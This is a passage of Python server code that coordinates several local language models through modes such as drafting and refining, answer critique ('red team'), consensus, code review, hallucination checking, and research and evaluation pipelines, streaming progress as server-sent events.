prompt, models, cycles = config["prompt"], config.get("models", []), config.get("cycles", 2)
yield sse({"type": "clear"})
if not models: return
yield sse({"type": "status", "message": f"{models[0]} drafting..."})
try:
current = query_model(models[0], f"Answer:\n\n{prompt}")
yield sse({"type": "response", "model": models[0], "text": current, "role": "draft"})
except Exception as e:
yield sse({"type": "response", "model": models[0], "text": str(e), "role": "error"}); return
for cycle in range(cycles):
start = 1 if cycle == 0 else 0
for i in range(start, len(models)):
m = models[i]
yield sse({"type": "status", "message": f"Cycle {cycle+1}: {m}..."})
try:
current = query_model(m, f"Question: {prompt}\n\nCurrent answer:\n{current}\n\nImprove it. Return full improved answer.")
is_last = (cycle == cycles-1) and (i == len(models)-1)
yield sse({"type": "response", "model": m, "text": current, "role": "final" if is_last else f"cycle {cycle+1}"})
except Exception as e:
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
def run_redteam(config):
prompt = config.get("prompt", "")
author, attacker, patcher = config.get("author"), config.get("attacker"), config.get("patcher")
if not all([author, attacker, patcher]):
yield sse({"type": "response", "model": "system", "text": "Red team mode requires 'author', 'attacker', and 'patcher' model parameters.", "role": "error"})
yield sse({"type": "done"})
return
rounds = config.get("rounds", 2)
yield sse({"type": "clear"})
yield sse({"type": "status", "message": f"{author} writing..."})
try:
current = query_model(author, prompt)
yield sse({"type": "response", "model": author, "text": current, "role": "author"})
except Exception as e:
yield sse({"type": "response", "model": author, "text": str(e), "role": "error"}); return
for r in range(rounds):
yield sse({"type": "status", "message": f"Round {r+1}: {attacker} attacking..."})
try:
attack = query_model(attacker, f"Question: {prompt}\n\nAnswer:\n{current}\n\nRED TEAM: find every flaw, error, weakness, edge case. Be aggressive.")
yield sse({"type": "response", "model": attacker, "text": attack, "role": f"attack {r+1}"})
except Exception as e:
yield sse({"type": "response", "model": attacker, "text": str(e), "role": "error"}); continue
yield sse({"type": "status", "message": f"Round {r+1}: {patcher} fixing..."})
try:
current = query_model(patcher, f"Question: {prompt}\n\nAnswer:\n{current}\n\nFlaws found:\n{attack}\n\nFix ALL issues. Return complete improved answer.")
yield sse({"type": "response", "model": patcher, "text": current, "role": "patcher" if r == rounds-1 else f"patch {r+1}"})
except Exception as e:
yield sse({"type": "response", "model": patcher, "text": str(e), "role": "error"})
def run_consensus(config):
prompt, models, max_rounds = config["prompt"], config.get("models", []), config.get("max_rounds", 3)
yield sse({"type": "clear"})
if not models: return
yield sse({"type": "status", "message": f"Round 1: {len(models)} models answering..."})
responses = parallel_query(models, prompt)
for m, r in responses.items():
yield sse({"type": "response", "model": m, "text": r, "role": "round 1"})
for rd in range(2, max_rounds + 1):
yield sse({"type": "status", "message": f"Round {rd}: reviewing each other..."})
new = {}
for m in models:
parts = [("Question:", prompt, 1),
("Your answer:", cap_response(responses.get(m, "")), 2),
("INSTRUCTION:", "Revise considering other perspectives. Adopt good points, defend if right.", 1)]
for o, r in responses.items():
if o != m:
parts.append((f"[{o}]:", cap_response(r), 3))
ctx = build_context(parts, m)
try:
new[m] = safe_query(m, ctx)
yield sse({"type": "response", "model": m, "text": new[m], "role": "consensus" if rd == max_rounds else f"round {rd}"})
except Exception as e:
new[m] = responses.get(m, ""); yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
responses = new
def run_codereview(config):
prompt = config.get("prompt", "")
coder, reviewer, tester = config.get("coder"), config.get("reviewer"), config.get("tester")
if not all([coder, reviewer, tester]):
yield sse({"type": "response", "model": "system", "text": "Code review mode requires 'coder', 'reviewer', and 'tester' model parameters.", "role": "error"})
yield sse({"type": "done"})
return
yield sse({"type": "clear"})
yield sse({"type": "status", "message": f"{coder} coding..."})
try:
code = query_model(coder, f"Write code for this task. Only output code with brief comments.\n\n{prompt}")
yield sse({"type": "response", "model": coder, "text": code, "role": "coder"})
except Exception as e:
yield sse({"type": "response", "model": coder, "text": str(e), "role": "error"}); return
yield sse({"type": "status", "message": f"{reviewer} reviewing..."})
try:
review = query_model(reviewer, f"Task: {prompt}\n\nCode:\n{code}\n\nReview: bugs, security, performance, style, edge cases. Provide corrected code if needed.")
yield sse({"type": "response", "model": reviewer, "text": review, "role": "reviewer"})
except Exception as e:
review = ""; yield sse({"type": "response", "model": reviewer, "text": str(e), "role": "error"})
yield sse({"type": "status", "message": f"{tester} testing..."})
try:
tests = query_model(tester, f"Task: {prompt}\n\nCode:\n{code}\n\nReview:\n{review}\n\nWrite comprehensive unit tests. Cover normal, edge, error cases.")
yield sse({"type": "response", "model": tester, "text": tests, "role": "tester"})
except Exception as e:
yield sse({"type": "response", "model": tester, "text": str(e), "role": "error"})
def run_ladder(config):
prompt, models = config["prompt"], config.get("models", [])
levels = [
("Child (5yo)", "Explain to a 5-year-old. Very simple words, short sentences, fun analogies."),
("Teenager", "Explain to a 15-year-old. Everyday language, relatable examples, some technical terms."),
("College Student", "College level. Proper terminology, theory, structured explanation."),
("Professional", "Professional level. Technical language, real-world applications, trade-offs."),
("PhD Expert", "PhD/expert level. Nuanced details, current research, math if relevant, edge cases."),
]
yield sse({"type": "clear"})
for i, (name, instr) in enumerate(levels):
m = models[i % len(models)] if models else "qwen2.5"
yield sse({"type": "status", "message": f"Level {i+1}/5: {name} ({m})..."})
try:
yield sse({"type": "response", "model": m, "text": query_model(m, f"{instr}\n\nQuestion: {prompt}"), "role": name})
except Exception as e:
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
def run_tournament(config):
prompt, models, judge = config["prompt"], config.get("models", []), config.get("judge", "qwen2.5")
yield sse({"type": "clear"})
yield sse({"type": "status", "message": f"{len(models)} models competing..."})
responses = parallel_query(models, prompt)
for m, r in responses.items():
yield sse({"type": "response", "model": m, "text": r, "role": "competitor"})
if len(responses) < 2: return
yield sse({"type": "status", "message": f"{judge} ranking..."})
parts = [("Question:", prompt, 1),
("INSTRUCTION:", "Rank all from best to worst. Score 1-10 each. Then refine the winner into the ultimate answer.", 1)]
for m, r in responses.items():
parts.append((f"[{m}]:", cap_response(r), 3))
jp = build_context(parts, judge)
try:
yield sse({"type": "response", "model": judge, "text": safe_query(judge, jp), "role": "verdict"})
except Exception as e:
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
# ─── NEW 7 MODES ──────────────────────────────────────────────
def run_evolution(config):
"""Genetic algorithm: generate, score, breed, mutate across generations."""
prompt, models = config["prompt"], config.get("models", [])
generations = config.get("generations", 3)
judge = config.get("judge", models[0] if models else "qwen2.5")
yield sse({"type": "clear"})
if not models: return
# Gen 0: each model generates an answer
yield sse({"type": "status", "message": "Generation 0: spawning initial population..."})
population = parallel_query(models, prompt)
for m, r in population.items():
yield sse({"type": "response", "model": m, "text": r, "role": "gen 0"})
for gen in range(1, generations + 1):
# Fitness scoring
yield sse({"type": "status", "message": f"Generation {gen}: fitness evaluation..."})
score_prompt = f"Question: {prompt}\n\nRate each answer 1-100. Return ONLY a JSON object like {{\"model_name\": score}}.\n\n"
for m, r in population.items():
score_prompt += f"[{m}]: {r.strip()}\n\n"
try:
scores_raw = query_model(judge, score_prompt)
yield sse({"type": "response", "model": judge, "text": scores_raw, "role": f"fitness gen {gen}"})
except Exception as e:
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"}); continue
# Breed: take top 2 answers, ask a model to combine them
pop_list = list(population.items())
if len(pop_list) < 2: break
parent1, parent2 = pop_list[0], pop_list[1]
yield sse({"type": "status", "message": f"Generation {gen}: breeding + mutating..."})
new_population = {}
for m in models:
breed_prompt = (
f"Question: {prompt}\n\n"
f"Parent A ({parent1[0]}):\n{parent1[1].strip()}\n\n"
f"Parent B ({parent2[0]}):\n{parent2[1].strip()}\n\n"
f"You are {m}. Breed these two answers: take the best parts of each parent, "
f"combine them, then MUTATE by adding one novel insight or improvement. "
f"Return your evolved answer."
)
try:
offspring = query_model(m, breed_prompt)
new_population[m] = offspring
is_last = gen == generations
yield sse({"type": "response", "model": m, "text": offspring, "role": "final" if is_last else f"gen {gen}"})
except Exception as e:
new_population[m] = population.get(m, "")
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
population = new_population
def run_blindassembly(config):
"""Split question into parts, each model answers blind, assembler stitches."""
prompt, models = config["prompt"], config.get("models", [])
assembler = config.get("assembler", models[0] if models else "qwen2.5")
yield sse({"type": "clear"})
if not models: return
n = len(models)
# Step 1: Decompose the question
yield sse({"type": "status", "message": "Decomposing question into sub-tasks..."})
decompose_prompt = (
f"Split this question into exactly {n} independent sub-parts that together fully answer it. "
f"Return ONLY a numbered list, one sub-question per line. No other text.\n\n"
f"Question: {prompt}"
)
try:
parts_raw = query_model(assembler, decompose_prompt)
yield sse({"type": "response", "model": assembler, "text": parts_raw, "role": "decomposer"})
except Exception as e:
yield sse({"type": "response", "model": assembler, "text": str(e), "role": "error"}); return
# Parse parts
parts = [line.strip() for line in parts_raw.strip().split("\n") if line.strip() and any(c.isalpha() for c in line)]
while len(parts) < n:
parts.append(f"Additional aspect of: {prompt}")
parts = parts[:n]
# Step 2: Each model answers their part BLIND
yield sse({"type": "status", "message": f"Sending {n} sub-tasks to models (blind)..."})
fragments = {}
with ThreadPoolExecutor(max_workers=n) as pool:
futures = {}
for i, m in enumerate(models):
blind_prompt = (
f"Answer ONLY this specific sub-question. Do not address anything else.\n\n"
f"Sub-question: {parts[i]}"
)
futures[pool.submit(query_model, m, blind_prompt)] = (m, parts[i])
for future in as_completed(futures):
m, part = futures[future]
try:
fragments[m] = {"part": part, "answer": future.result()}
yield sse({"type": "response", "model": m, "text": f"SUB-TASK: {part}\n\nANSWER:\n{fragments[m]['answer']}", "role": "blind worker"})
except Exception as e:
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
# Step 3: Assemble
yield sse({"type": "status", "message": f"{assembler} assembling blind fragments..."})
assemble_prompt = f"Original question: {prompt}\n\nMultiple models each answered a sub-part WITHOUT seeing each other:\n\n"
for m, data in fragments.items():
assemble_prompt += f"[{m}] (sub-task: {data['part']}):\n{data['answer'].strip()}\n\n"
assemble_prompt += "Stitch these fragments into ONE coherent, complete answer. Fill any gaps. Remove contradictions."
try:
yield sse({"type": "response", "model": assembler, "text": query_model(assembler, assemble_prompt), "role": "assembler"})
except Exception as e:
yield sse({"type": "response", "model": assembler, "text": str(e), "role": "error"})
def run_staircase(config):
"""Devil's Staircase: each round adds a new constraint."""
prompt = config["prompt"]
answerer = config["answerer"]
challenger = config["challenger"]
steps = config.get("steps", 4)
yield sse({"type": "clear"})
# Initial answer
yield sse({"type": "status", "message": f"{answerer} answering..."})
try:
current = query_model(answerer, prompt)
yield sse({"type": "response", "model": answerer, "text": current, "role": "initial answer"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
constraints = []
for s in range(steps):
# Challenger adds a constraint
yield sse({"type": "status", "message": f"Step {s+1}: {challenger} adding constraint..."})
constraint_prompt = (
f"Original question: {prompt}\n\n"
f"Current answer:\n{current}\n\n"
f"Existing constraints: {constraints if constraints else 'None yet'}\n\n"
f"Add ONE new realistic constraint, complication, or edge case that the current answer doesn't handle. "
f"Make it specific and challenging but plausible. State ONLY the new constraint, nothing else."
)
try:
new_constraint = query_model(challenger, constraint_prompt)
constraints.append(new_constraint.strip())
yield sse({"type": "response", "model": challenger, "text": new_constraint, "role": f"constraint {s+1}"})
except Exception as e:
yield sse({"type": "response", "model": challenger, "text": str(e), "role": "error"}); continue
# Answerer must adapt
yield sse({"type": "status", "message": f"Step {s+1}: {answerer} adapting..."})
adapt_prompt = (
f"Original question: {prompt}\n\n"
f"ALL constraints you must satisfy:\n" +
"\n".join(f" {i+1}. {c}" for i, c in enumerate(constraints)) +
f"\n\nYour previous answer:\n{current}\n\n"
f"Rewrite your answer to handle ALL constraints. Return the complete updated answer."
)
try:
current = query_model(answerer, adapt_prompt)
is_last = s == steps - 1
yield sse({"type": "response", "model": answerer, "text": current, "role": "final" if is_last else f"adapted {s+1}"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"})
def run_drift(config):
"""Same prompt N times to same model, analyze variance."""
prompt = config["prompt"]
target = config["target"]
samples = config.get("samples", 5)
analyzer = config["analyzer"]
yield sse({"type": "clear"})
yield sse({"type": "status", "message": f"Sampling {target} {samples} times..."})
results = []
for i in range(samples):
yield sse({"type": "status", "message": f"Sample {i+1}/{samples}..."})
try:
r = query_model(target, prompt)
results.append(r)
yield sse({"type": "response", "model": target, "text": r, "role": f"sample {i+1}"})
except Exception as e:
yield sse({"type": "response", "model": target, "text": str(e), "role": "error"})
if len(results) < 2: return
# Analyze
yield sse({"type": "status", "message": f"{analyzer} analyzing drift..."})
analysis_prompt = (
f"Question asked: {prompt}\n\n"
f"The model '{target}' was asked this same question {len(results)} times. Here are all responses:\n\n"
)
for i, r in enumerate(results):
analysis_prompt += f"--- Sample {i+1} ---\n{r.strip()}\n\n"
analysis_prompt += (
"DRIFT ANALYSIS:\n"
"1. What claims/facts are CONSISTENT across all samples? (HIGH CONFIDENCE)\n"
"2. What claims VARY between samples? (LOW CONFIDENCE - possible hallucination)\n"
"3. What is completely CONTRADICTED between samples? (UNRELIABLE)\n"
"4. Give an overall confidence score 1-10 for the model's answer to this question.\n"
"5. Provide the 'true' answer using only high-confidence claims."
)
try:
yield sse({"type": "response", "model": analyzer, "text": query_model(analyzer, analysis_prompt), "role": "analyzer"})
except Exception as e:
yield sse({"type": "response", "model": analyzer, "text": str(e), "role": "error"})
def run_mesh(config):
"""Each model answers as a different stakeholder."""
prompt, models = config["prompt"], config.get("models", [])
synthesizer = config.get("synthesizer", models[0] if models else "qwen2.5")
yield sse({"type": "clear"})
perspectives = [
("CEO / Business Leader", "You are a CEO. Answer from a business strategy perspective: ROI, market impact, competitive advantage, risk."),
("Software Engineer", "You are a senior engineer. Answer from a technical perspective: architecture, implementation, scalability, tech debt."),
("End User / Customer", "You are an end user/customer. Answer from a usability perspective: experience, pain points, what you actually need."),
("Regulator / Legal", "You are a regulator/legal advisor. Answer from a compliance perspective: laws, regulations, liability, ethics, privacy."),
("Competitor", "You are a competitor analyzing this. What threats/opportunities does this create? What would you do differently?"),
]
if not models: return
responses = {}
for i, (role_name, instruction) in enumerate(perspectives):
m = models[i % len(models)]
yield sse({"type": "status", "message": f"{role_name}: {m}..."})
try:
r = query_model(m, f"{instruction}\n\nQuestion: {prompt}")
responses[role_name] = (m, r)
yield sse({"type": "response", "model": m, "text": r, "role": role_name})
except Exception as e:
yield sse({"type": "response", "model": m, "text": str(e), "role": "error"})
# 360 synthesis
yield sse({"type": "status", "message": f"{synthesizer} weaving 360-degree view..."})
syn = f"Question: {prompt}\n\nMultiple stakeholders gave their perspective:\n\n"
for role, (m, r) in responses.items():
syn += f"[{role} ({m})]: {r.strip()}\n\n"
syn += "Synthesize a 360-degree view that balances all stakeholder perspectives. Highlight tensions and trade-offs."
try:
yield sse({"type": "response", "model": synthesizer, "text": query_model(synthesizer, syn), "role": "mesh-360"})
except Exception as e:
yield sse({"type": "response", "model": synthesizer, "text": str(e), "role": "error"})
def run_hallucination(config):
"""One answers, hunters verify each claim independently."""
prompt, answerer = config["prompt"], config["answerer"]
hunters = config.get("hunters", [])
yield sse({"type": "clear"})
# Get answer
yield sse({"type": "status", "message": f"{answerer} answering..."})
try:
answer = query_model(answerer, prompt)
yield sse({"type": "response", "model": answerer, "text": answer, "role": "answer"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
# Extract claims
yield sse({"type": "status", "message": "Extracting factual claims..."})
extract_prompt = (
f"Extract every factual claim from this answer as a numbered list. Include specific facts, numbers, dates, "
f"names, and cause-effect relationships. One claim per line.\n\nAnswer:\n{answer}"
)
try:
claims = query_model(answerer, extract_prompt)
yield sse({"type": "response", "model": answerer, "text": claims, "role": "claims extracted"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
# Each hunter verifies independently
yield sse({"type": "status", "message": f"{len(hunters)} hunters verifying claims..."})
hunt_prompt = (
f"Original question: {prompt}\n\n"
f"An AI generated this answer:\n{answer}\n\n"
f"Here are the extracted claims:\n{claims}\n\n"
f"For EACH claim, verdict:\n"
f" VERIFIED - you are confident this is correct\n"
f" SUSPICIOUS - might be wrong or misleading\n"
f" HALLUCINATED - this is likely made up or incorrect\n"
f" UNVERIFIABLE - cannot determine from your knowledge\n"
f"Explain your reasoning for suspicious/hallucinated claims."
)
results = parallel_query(hunters, hunt_prompt)
for m, r in results.items():
yield sse({"type": "response", "model": m, "text": r, "role": "hunter"})
def run_timeloop(config):
"""CHAOS MODE: answer -> catastrophe -> fix -> new catastrophe -> repeat."""
prompt = config["prompt"]
answerer = config["answerer"]
chaos = config["chaos"]
loops = config.get("loops", 4)
yield sse({"type": "clear"})
# Initial answer
yield sse({"type": "status", "message": f"{answerer} answering (unaware of impending doom)..."})
try:
current = query_model(answerer, prompt)
yield sse({"type": "response", "model": answerer, "text": current, "role": "initial (doomed)"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"}); return
catastrophes = []
for i in range(loops):
# Chaos agent creates a catastrophe
yield sse({"type": "status", "message": f"Loop {i+1}: CHAOS AGENT unleashed..."})
chaos_prompt = (
f"Original question: {prompt}\n\n"
f"Someone implemented this answer:\n{current}\n\n"
f"Previous catastrophes that were already fixed: {catastrophes if catastrophes else 'None yet'}\n\n"
f"You are a CHAOS AGENT. Describe a SPECIFIC, VIVID catastrophe that happened because of a flaw "
f"in this answer. Be creative and dramatic but grounded in a real flaw. "
f"Describe: 1) What went wrong 2) The cascading consequences 3) Who/what was affected. "
f"Make it different from previous catastrophes. Be theatrical!"
)
try:
catastrophe = query_model(chaos, chaos_prompt)
catastrophes.append(catastrophe.strip()[:200])
yield sse({"type": "response", "model": chaos, "text": catastrophe, "role": f"catastrophe {i+1}"})
except Exception as e:
yield sse({"type": "response", "model": chaos, "text": str(e), "role": "error"}); continue
# Answerer must fix
yield sse({"type": "status", "message": f"Loop {i+1}: {answerer} desperately fixing..."})
fix_prompt = (
f"Original question: {prompt}\n\n"
f"Your previous answer:\n{current}\n\n"
f"CATASTROPHE REPORT:\n{catastrophe}\n\n"
f"ALL previous catastrophes you must also prevent:\n" +
"\n".join(f" {j+1}. {c}" for j, c in enumerate(catastrophes)) +
f"\n\nRewrite your answer to prevent THIS catastrophe and ALL previous ones. "
f"Your answer must be BULLETPROOF. Return the complete fixed answer."
)
try:
current = query_model(answerer, fix_prompt)
is_last = i == loops - 1
yield sse({"type": "response", "model": answerer, "text": current, "role": "survivor" if is_last else f"fix {i+1}"})
except Exception as e:
yield sse({"type": "response", "model": answerer, "text": str(e), "role": "error"})
# Final verdict from chaos agent
yield sse({"type": "status", "message": f"{chaos} final inspection..."})
final_prompt = (
f"Original question: {prompt}\n\n"
f"After {loops} catastrophes, the final answer is:\n{current}\n\n"
f"All catastrophes it survived:\n" +
"\n".join(f" {j+1}. {c}" for j, c in enumerate(catastrophes)) +
f"\n\nAs the Chaos Agent, give your final verdict: Is this answer now truly bulletproof? "
f"Rate its resilience 1-10. Can you find ONE MORE flaw? If not, admit defeat."
)
try:
yield sse({"type": "response", "model": chaos, "text": query_model(chaos, final_prompt), "role": "final judgment"})
except Exception as e:
yield sse({"type": "response", "model": chaos, "text": str(e), "role": "error"})
# ─── AUTONOMOUS PIPELINES ─────────────────────────────────────
def _save_pipeline(pipeline, topic, steps, result, models, start_ms):
import time
duration = int((time.time() * 1000) - start_ms)
try:
with get_db() as conn:
with conn.cursor() as cur:
cur.execute(
"""INSERT INTO pipeline_runs (pipeline, topic, status, steps, result, models_used, duration_ms, completed_at)
VALUES (%s, %s, 'completed', %s, %s, %s, %s, NOW())""",
(pipeline, topic, json.dumps(steps), json.dumps(result), list(set(models)), duration)
)
conn.commit()
except Exception as e:
print(f"[DB] pipeline save error: {e}")
def run_research(config):
"""Autonomous research pipeline: scout → parallel research → fact-check → synthesize."""
import time
start = time.time() * 1000
prompt = config["prompt"]
scout = config.get("scout", "llama3.2:latest")
models = config.get("models", [])
checker = config.get("checker", models[0] if models else scout)
synth = config.get("synthesizer", models[0] if models else scout)
num_q = min(config.get("num_questions", 5), 15) # hard cap at 15
yield sse({"type": "clear"})
total_steps = 4
steps = []
all_models = [scout, checker, synth] + models
# Step 1: Scout generates research questions
yield sse({"type": "progress", "step": 1, "total_steps": total_steps, "substep": f"{scout} generating {num_q} research questions...", "percent": 5})
yield sse({"type": "status", "message": f"Step 1/{total_steps}: {scout} generating {num_q} research questions..."})
try:
q_prompt = (
f"You are a research scout. Given the topic below, generate exactly {num_q} specific, "
f"diverse research questions that would build a comprehensive understanding. "
f"Return ONLY a numbered list.\n\nTopic: {prompt}"
)
questions_raw = query_model(scout, q_prompt)
yield sse({"type": "response", "model": scout, "text": questions_raw, "role": "scout"})
steps.append({"step": "scout", "model": scout, "output": questions_raw})
except Exception as e:
yield sse({"type": "response", "model": scout, "text": str(e), "role": "error"})
return
# Parse questions
questions = [l.strip() for l in questions_raw.strip().split("\n") if l.strip() and any(c.isalpha() for c in l)]
questions = questions[:num_q]
if not questions:
yield sse({"type": "response", "model": "system", "text": "Failed to parse research questions.", "role": "error"})
return
yield sse({"type": "progress", "step": 1, "total_steps": total_steps, "substep": f"Parsed {len(questions)} questions", "percent": 15})
# Step 2: Parallel research — distribute questions across models
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"0/{len(questions)} questions researched...", "percent": 18})
yield sse({"type": "status", "message": f"Step 2/{total_steps}: {len(models)} models researching {len(questions)} questions..."})
research_results = {}
completed_q = 0
failed_q = 0
with ThreadPoolExecutor(max_workers=max(len(models), 1)) as pool:
futures = {}
for i, q in enumerate(questions):
m = models[i % len(models)] if models else scout
rp = f"Research this question thoroughly. Provide specific facts, data, and examples.\n\nQuestion: {q}"
futures[pool.submit(query_model, m, rp)] = (m, q)
for future in as_completed(futures):
m, q = futures[future]
try:
answer = future.result()
# Cap individual research answers to prevent context explosion
if len(answer) > 8000:
answer = answer[:7500] + "\n\n[... response truncated for pipeline stability ...]"
research_results[q] = {"model": m, "answer": answer}
completed_q += 1
pct = 18 + int((completed_q / len(questions)) * 42)
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"{completed_q}/{len(questions)} questions researched", "percent": pct})
yield sse({"type": "response", "model": m, "text": f"Q: {q}\n\n{answer}", "role": "researcher"})
except Exception as e:
failed_q += 1
completed_q += 1
pct = 18 + int((completed_q / len(questions)) * 42)
yield sse({"type": "progress", "step": 2, "total_steps": total_steps, "substep": f"{completed_q}/{len(questions)} ({failed_q} failed)", "percent": pct})
yield sse({"type": "response", "model": m, "text": f"Q: {q}\n\nError: {e}", "role": "error"})
research_results[q] = {"model": m, "answer": f"Error: {e}"}
steps.append({"step": "research", "results": {q: r["answer"][:500] for q, r in research_results.items()}})
# Step 3: Fact-check — cap context to prevent OOM
yield sse({"type": "progress", "step": 3, "total_steps": total_steps, "substep": f"{checker} fact-checking...", "percent": 62})
yield sse({"type": "status", "message": f"Step 3/{total_steps}: {checker} fact-checking all findings..."})
check_prompt = f"Topic: {prompt}\n\nResearch findings to fact-check:\n\n"
# Smart truncation: fit within context limits
per_answer_cap = min(300, 3000 // max(len(research_results), 1))
for q, r in research_results.items():
if r["answer"].startswith("Error:"):
continue
check_prompt += f"Q: {q}\nA: {r['answer'][:per_answer_cap]}\n\n"
check_prompt += (
"For each finding, mark as:\n"
" VERIFIED — likely accurate\n"
" UNCERTAIN — may be wrong or outdated\n"
" FLAGGED — likely inaccurate\n"
"Be specific about what's wrong with flagged items."
)
try:
check_result = query_model(checker, check_prompt)
yield sse({"type": "response", "model": checker, "text": check_result, "role": "fact-checker"})
steps.append({"step": "fact-check", "model": checker, "output": check_result[:1000]})
except Exception as e:
check_result = f"Error: {e}"
yield sse({"type": "response", "model": checker, "text": str(e), "role": "error"})
# Step 4: Synthesize into brief — cap context
yield sse({"type": "progress", "step": 4, "total_steps": total_steps, "substep": f"{synth} synthesizing brief...", "percent": 80})
yield sse({"type": "status", "message": f"Step 4/{total_steps}: {synth} synthesizing research brief..."})
synth_prompt = f"Topic: {prompt}\n\nResearch findings:\n\n"
per_synth_cap = min(400, 4000 // max(len(research_results), 1))
for q, r in research_results.items():
if r["answer"].startswith("Error:"):
synth_prompt += f"Q: {q}\nA: [research failed]\n\n"
else:
synth_prompt += f"Q: {q}\nA: {r['answer'][:per_synth_cap]}\n\n"
synth_prompt += f"\nFact-check notes:\n{check_result[:500]}\n\n"
synth_prompt += (
"Synthesize ALL findings into a structured research brief with these sections:\n"
"1. EXECUTIVE SUMMARY (2-3 sentences)\n"
"2. KEY FINDINGS (bulleted list)\n"
"3. DETAILED ANALYSIS (organized by theme)\n"
"4. UNCERTAINTIES & GAPS (what needs more research)\n"
"5. RECOMMENDATIONS (actionable next steps)\n"
"Be comprehensive but concise."
)
try:
brief = query_model(synth, synth_prompt)
yield sse({"type": "response", "model": synth, "text": brief, "role": "synthesis"})
steps.append({"step": "synthesis", "model": synth, "output": brief[:2000]})
except Exception as e:
brief = f"Error: {e}"
yield sse({"type": "response", "model": synth, "text": str(e), "role": "error"})
yield sse({"type": "progress", "step": 4, "total_steps": total_steps, "substep": "Research complete", "percent": 100})
# Save pipeline run
_save_pipeline("research", prompt, steps, {"brief": brief, "questions": questions, "fact_check": check_result[:1000]}, all_models, start)
def run_eval(config):
"""Model evaluation pipeline: same prompts → all models → judge scores → leaderboard."""
import time
start = time.time() * 1000
prompt = config["prompt"]
models = config.get("models", [])
judge = config.get("judge", models[0] if models else "qwen2.5:latest")
eval_type = config.get("eval_type", "general")
rounds = config.get("rounds", 3)
yield sse({"type": "clear"})
steps = []
all_models = models + [judge]
# Generate eval prompts based on type
yield sse({"type": "status", "message": f"Generating {rounds} {eval_type} evaluation prompts..."})
gen_prompt = (
f"Generate exactly {rounds} evaluation prompts for testing LLM capability in: {eval_type}.\n"
f"Context/focus area: {prompt}\n\n"
f"Each prompt should test a different aspect. Return ONLY a numbered list of prompts, nothing else."
)
try:
prompts_raw = query_model(judge, gen_prompt)
yield sse({"type": "response", "model": judge, "text": prompts_raw, "role": "prompt generator"})
except Exception as e:
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
return
eval_prompts = [l.strip() for l in prompts_raw.strip().split("\n") if l.strip() and any(c.isalpha() for c in l)]
eval_prompts = eval_prompts[:rounds]
if not eval_prompts:
yield sse({"type": "response", "model": "system", "text": "Failed to generate eval prompts.", "role": "error"})
return
# Run each prompt against all models
scores = {m: [] for m in models}
for ri, ep in enumerate(eval_prompts):
yield sse({"type": "status", "message": f"Round {ri+1}/{len(eval_prompts)}: Testing {len(models)} models..."})
# All models answer in parallel
responses = parallel_query(models, ep)
for m, r in responses.items():
yield sse({"type": "response", "model": m, "text": f"[Round {ri+1}] {ep[:80]}...\n\n{r}", "role": f"round {ri+1}"})
# Judge scores all responses
yield sse({"type": "status", "message": f"Round {ri+1}: Judging..."})
judge_prompt = (
f"Evaluation prompt: {ep}\n\n"
f"Score each model's response 1-10 on: accuracy, completeness, clarity, reasoning.\n"
f"Return a JSON object: {{\"model_name\": {{\"score\": N, \"notes\": \"brief note\"}}}}.\n\n"
)
for m, r in responses.items():
judge_prompt += f"[{m}]:\n{r[:500]}\n\n"
try:
judgment = query_model(judge, judge_prompt)
yield sse({"type": "response", "model": judge, "text": judgment, "role": f"judge round {ri+1}"})
# Try to parse scores
try:
import re
# Find numbers after model names
for m in models:
# Look for score patterns near model name
pattern = re.escape(m) + r'.*?["\s:]+(\d+)'
match = re.search(pattern, judgment, re.IGNORECASE | re.DOTALL)
if match:
scores[m].append(int(match.group(1)))
except Exception:
pass
except Exception as e:
yield sse({"type": "response", "model": judge, "text": str(e), "role": "error"})
steps.append({"round": ri+1, "prompt": ep, "responses": {m: r[:300] for m, r in responses.items()}})
# Final leaderboard
yield sse({"type": "status", "message": "Generating leaderboard..."})
leaderboard = []
for m in models:
avg = sum(scores[m]) / len(scores[m]) if scores[m] else 0
leaderboard.append({"model": m, "avg_score": round(avg, 1), "rounds": len(scores[m]), "scores": scores[m]})
leaderboard.sort(key=lambda x: x["avg_score"], reverse=True)
board_text = f"LEADERBOARD — {eval_type.upper()} ({len(eval_prompts)} rounds)\n{'='*50}\n\n"
for i, entry in enumerate(leaderboard):
medal = ["1st", "2nd", "3rd"][i] if i < 3 else f"{i+1}th"
bar = "#" * int(entry["avg_score"])
board_text += f" {medal} {entry['model']:<30} {entry['avg_score']:>4}/10 {bar}\n"
if entry["scores"]:
board_text += f" Round scores: {entry['scores']}\n\n"
yield sse({"type": "response", "model": judge, "text": board_text, "role": "final"})
_save_pipeline("eval", prompt, steps, {"leaderboard": leaderboard, "eval_type": eval_type}, all_models, start)
def run_extract(config):
"""Knowledge extraction pipeline: chunk text → extract facts → verify → structured output."""
import time
start = time.time() * 1000
prompt = config["prompt"]
extractor = config.get("extractor", "qwen2.5:latest")
verifier = config.get("verifier", "gemma2:latest")
source = config.get("source", "prompt")
yield sse({"type": "clear"})
steps = []
all_models = [extractor, verifier]
# Get source text
source_text = prompt
if source != "prompt":
file_map = {
"ontology": "/home/profit/ONTOLOGY.md",
"index": "/home/profit/INDEX.md",
"summaries": "/home/profit/SUMMARIES.md",
"guides": "/home/profit/GUIDES.md",
}
fpath = file_map.get(source)
if fpath and os.path.exists(fpath):
yield sse({"type": "status", "message": f"Reading {source}..."})
with open(fpath) as f:
source_text = f.read()[:15000] # limit to ~15K chars
yield sse({"type": "response", "model": "system", "text": f"Loaded {source} ({len(source_text)} chars)", "role": "source"})
else:
yield sse({"type": "response", "model": "system", "text": f"File not found: {source}", "role": "error"})
return
# Chunk if too long
chunks = []
chunk_size = 4000
for i in range(0, len(source_text), chunk_size):
